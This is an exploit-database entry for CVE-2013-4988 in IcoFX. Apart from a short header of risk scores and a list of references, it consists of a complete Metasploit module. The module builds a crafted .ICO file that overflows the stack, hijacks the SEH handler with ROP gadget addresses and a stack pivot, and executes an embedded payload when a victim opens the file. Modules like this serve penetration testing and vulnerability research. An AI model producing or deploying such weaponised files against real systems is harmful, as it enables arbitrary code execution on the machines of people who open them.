IcoFX Stack Buffer Overflow

2014.01.04
Credit: Juan vazquez
Risk: High
Local: Yes
Remote: No
CWE: CWE-119


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'IcoFX Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow vulnerability in version 2.1 of IcoFX. The vulnerability exists while parsing .ICO files, where an specially crafted ICONDIR header, providing an arbitrary long number of images into the file, can be used to trigger the overflow when reading the ICONDIRENTRY structures. }, 'License' => MSF_LICENSE, 'Author' => [ 'Marcos Accossatto', # Vulnerability discovery, poc 'juan vazquez' # Metasploit ], 'References' => [ [ 'CVE', '2013-4988' ], [ 'OSVDB', '100826' ], [ 'BID', '64221' ], [ 'EDB', '30208'], [ 'URL', 'http://www.coresecurity.com/advisories/icofx-buffer-overflow-vulnerability' ] ], 'Platform' => [ 'win' ], 'Payload' => { 'DisableNops' => true, 'Space' => 864, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'Targets' => [ [ 'IcoFX 2.5 / Windows 7 SP1', { :callback => :target_win7, } ], ], 'DisclosureDate' => 'Dec 10 2013', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The output file name.', 'msf.ico']) ], self.class) end def target_win7 # All the gadgets com from IcoFX2.exe 2.5.0.0 # ICONDIR structure ico = [0].pack("v") # Reserved. Must always be 0 ico << [1].pack("v") # Image type: 1 for icon (.ico) image # 0x66 is enough to overwrite the local variables and, finally # the seh handler. 0x7f00 is used to trigger an exception after # the overflow, while the overwritten SEH handler is in use. ico << [0x7f00].pack("v") # ICONDIRENTRY structures 102 structures are using to overwrite # every structure = 16 bytes # 100 structures are used to reach the local variables ico << rand_text(652) ico << [0x0044729d].pack("V") * 20 # ret # rop nops are used to allow code execution with the different opening methods ico << [0x0045cc21].pack("V") # jmp esp ico << payload.encoded ico << rand_text( 1600 - # 1600 = 16 ICONDIRENTRY struct size * 100 652 - # padding to align the stack pivot 80 - # rop nops size 4 - # jmp esp pointer size payload.encoded.length ) # The next ICONDIRENTRY allows to overwrite the interesting local variables # on the stack ico << [2].pack("V") # Counter (remaining bytes) saved on the stack ico << rand_text(8) # Padding ico << [0xfffffffe].pack("V") # Index to the dst buffer saved on the stack, allows to point to the SEH handler # The next ICONDIRENTRY allows to overwrite the seh handler ico << [0x00447296].pack("V") # Stackpivot: add esp, 0x800 # pop ebx # ret ico << rand_text(0xc) # padding return ico end def exploit unless self.respond_to?(target[:callback]) fail_with(Failure::BadConfig, "Invalid target specified: no callback function defined") end ico = self.send(target[:callback]) print_status("Creating '#{datastore['FILENAME']}' file...") file_create(ico) end end

References:

http://cxsecurity.com/issue/WLB-2013120079
http://www.coresecurity.com/advisories/icofx-buffer-overflow-vulnerability


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